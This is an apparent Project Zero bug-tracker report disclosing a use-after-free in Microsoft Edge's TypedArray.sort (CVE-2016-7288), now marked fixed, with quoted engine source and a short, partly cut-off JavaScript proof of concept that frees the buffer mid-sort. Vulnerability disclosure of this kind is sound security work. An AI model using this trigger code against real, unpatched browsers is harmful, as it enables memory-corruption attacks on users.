Monorail Project: project-zero Issues People Development process History Sign in
New issue
Advanced search Search tips
Issue 983 Microsoft Edge: Use-after-free in TypedArray.sort
Starred by 2 users Project Member Reported by, Nov 2 2016 Back to list
Status: Fixed
Closed: Feb 14

Sign in to add a comment
There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (, the comparison function is called with the following code:

 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));

            if (TaggedInt::Is(retVal))
                return TaggedInt::ToInt32(retVal);

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
                dblResult = JavascriptNumber::GetValue(retVal);
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);

The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

A minimal PoC is as follows, and a full PoC is attached.

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);

function v(){

   postMessage("test", "", [buf])
   return 7;


function compareNumbers(a, b) {

  return {valueOf : v};


This PoC works on 64-bit systems only.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
445 bytes View Download
Project Member Comment 1 by, Feb 9
Labels: -Restrict-View-Commit CVE-2016-7288
Fixed in December
Project Member Comment 2 by, Feb 14
Status: Fixed
Comment 3 Deleted
Sign in to add a comment